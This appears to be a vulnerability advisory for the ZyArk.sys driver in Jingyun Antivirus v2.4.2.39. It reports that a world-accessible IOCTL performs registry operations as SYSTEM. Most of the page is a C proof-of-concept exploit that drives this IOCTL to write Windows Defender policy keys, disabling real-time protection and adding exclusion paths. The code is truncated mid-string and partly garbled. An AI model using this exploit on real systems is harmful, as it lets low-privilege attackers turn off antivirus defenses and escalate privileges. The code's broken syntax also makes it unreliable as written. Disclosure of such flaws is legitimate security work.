Jingyun Antivirus Driver Arbitrary Registry Key Modification Privilege Escalation

Vulnerability Overview Vulnerability Name: V-secure #2 Vulnerability Type: Arbitrary Registry Key Modification Description: Jingyun Antivirus v2.4.2.39 exposes arbitrary registry key operations via IOCTL with insufficient access controls. The driver creates a device object with full access granted to everyone. The IOCTL handler 0x226A40 dispatches to FUN_0001632c, performing kernel-mode registry operations (such as ZwCreateKey, ZwOpenKey, ZwSetValueKey, ZwDeleteKey, etc.) as SYSTEM without requiring any caller authentication. This allows any user (including low-privilege standard users) to read, write, and delete any registry key on the system, bypassing all Windows ACL protections. Impact Scope Affected Product: Jingyun Antivirus Version: 2.4.2.39 Component: ZyArk.sys Severity: High - 8.8 (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H) Remediation Current Status: No patch assigned Recommendation: Update the driver to restrict access controls on registry operations, ensuring that only authorized users can perform these actions. Proof of Concept / Exploit Code ```c #include #include #include // Driver constants #define ZYARK_IOCTL_REGISTRY 0x80226A40 #define ZYARK_DEVICE_PATH L"\\\\.\\ZyArk" // Registry operation codes #define REG_OP_CREATE_KEY 0 #define REG_OP_OPEN_KEY 1 #define REG_OP_QUERY_VALUE 2 #define REG_OP_SET_VALUE 3 #define REG_OP_DELETE_VALUE 7 #define REG_OP_CLOSE_KEY 8 // Registry types #define REG_TYPE_DWORD 4 // Buffer layout offsets #define BUF_OFFSET_OPERATION 0x000 #define BUF_OFFSET_OUT_SIZE 0x004 #define BUF_OFFSET_STATUS 0x018 #define BUF_OFFSET_ROOT_HANDLE 0x03C #define BUF_OFFSET_PATH 0x024 #define BUF_OFFSET_ACCESS_MASK 0x028 #define BUF_OFFSET_HANDLE_DATALEN 0x02C #define BUF_OFFSET_QUERY_DATA 0x030 #define BUF_OFFSET_DATA_SIZE 0x038 #define BUF_TOTAL_SIZE 0x1178 // GPO policy paths (kernel-mode format) - NOT protected by WfpFilter #define GPO_MD_BASE L"\\Registry\\Machine\\SOFTWARE\\Policies\\Microsoft\\Windows Defender" #define GPO_MD_RTP L"Real-Time Protection" #define GPO_MD_SPNET L"SpyNet" #define GPO_MD_EXCL L"Exclusions" #define GPO_MD_EXCL_P L"Exclusions\\Paths" // Helper: Build IOCTL buffer static BOOL BuildBuf(PVOID buf, SIZE_T sz, DWORD op, HANDLE root, LPCWSTR path, DWORD typeOfMask, PVOID data, DWORD dataSize) { if (sz 0) { memcpy((BYTE )buf + BUF_OFFSET_HANDLE_DATALEN, data, dataSize); (DWORD )(BYTE )buf + BUF_OFFSET_DATA_SIZE) = dataSize; } return TRUE; } // Helper: Send IOCTL, return NTSTATUS and output handle static NTSTATUS DoIoctl(HANDLE hDev, PVOID buf, SIZE_T sz, HANDLE pKey) { DWORD outSz = (DWORD)sz; DeviceIoControl(hDev, ZYARK_IOCTL_REGISTRY, buf, (DWORD)sz, (DWORD)sz, &outSz, NULL); pKey = (HANDLE )(BYTE )buf + BUF_OFFSET_HANDLE_DATALEN); return (NTSTATUS )(BYTE )buf + BUF_OFFSET_STATUS); } // Helpers: open, create, set, query, delete, close via driver static HANDLE DriverOpenKey(HANDLE hDev, PVOID buf, SIZE_T sz, LPCWSTR fullPath) { HANDLE h = NULL; BuildBuf(buf, sz, REG_OP_OPEN_KEY, NULL, fullPath, 0x800F, NULL, 0); NTSTATUS nt = DoIoctl(hDev, buf, sz, &h); return (nt >= 0 && h) ? h : NULL; } static HANDLE DriverOpenKeyBy(HANDLE hDev, PVOID buf, SIZE_T sz, HANDLE root, LPCWSTR subKey) { HANDLE h = NULL; BuildBuf(buf, sz, REG_OP_OPEN_KEY, root, subKey, 0x800F, NULL, 0); NTSTATUS nt = DoIoctl(hDev, buf, sz, &h); return (nt >= 0 && h) ? h : NULL; } static HANDLE DriverCreateKey(HANDLE hDev, PVOID buf, SIZE_T sz, HANDLE root, LPCWSTR subKey) { HANDLE h = NULL; BuildBuf(buf, sz, REG_OP_CREATE_KEY, root, subKey, 0x800F, NULL, 0); NTSTATUS nt = DoIoctl(hDev, buf, sz, &h); return (nt >= 0 && h) ? h : NULL; } static NTSTATUS DriverSetValue(HANDLE hDev, PVOID buf, SIZE_T sz, HANDLE hKey, LPCWSTR valName, DWORD data) { HANDLE dummy; BuildBuf(buf, sz, REG_OP_SET_VALUE, hKey, valName, REG_TYPE_DWORD, &data, sizeof(DWORD)); DoIoctl(hDev, buf, sz, &dummy); return (NTSTATUS )(BYTE )buf + BUF_OFFSET_STATUS); } static NTSTATUS DriverDeleteValue(HANDLE hDev, PVOID buf, SIZE_T sz, HANDLE hKey, LPCWSTR valName) { HANDLE dummy; BuildBuf(buf, sz, REG_OP_DELETE_VALUE, hKey, valName, 0, NULL, 0); DoIoctl(hDev, buf, sz, &dummy); return (NTSTATUS )(BYTE )buf + BUF_OFFSET_STATUS); } static void DriverCloseKey(HANDLE hDev, PVOID buf, SIZE_T sz, HANDLE hKey) { HANDLE dummy; BuildBuf(buf, sz, REG_OP_CLOSE_KEY, hKey, L"", 0, NULL, 0); DoIoctl(hDev, buf, sz, &dummy); } // Open a key relative to root, creating it if needed static HANDLE EnsureKey(HANDLE hDev, PVOID buf, SIZE_T sz, HANDLE root, LPCWSTR subKey) { HANDLE h = DriverOpenKeyBy(hDev, buf, sz, root, subKey); if (h) return h; return DriverCreateKey(hDev, buf, sz, root, subKey); } // Main int main(int argc, wchar_t argv[]) { BOOL restore = FALSE; if (argc > 1 && wcsicmp(argv[1], L"-restore") == 0 restore = TRUE; wprintf(L"ZyArk.sys BYOD - Disable Defender via GPO Policy\n"); wprintf(L"Path: HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\n"); wprintf(L"Not protected by WfpFilter Tamper Protection!\n"); wprintf(L"Security Resear

Goal Reached Thanks to every supporter — we hit 100%!

Jingyun Antivirus Driver Arbitrary Registry Key Modification Privilege Escalation

More from this source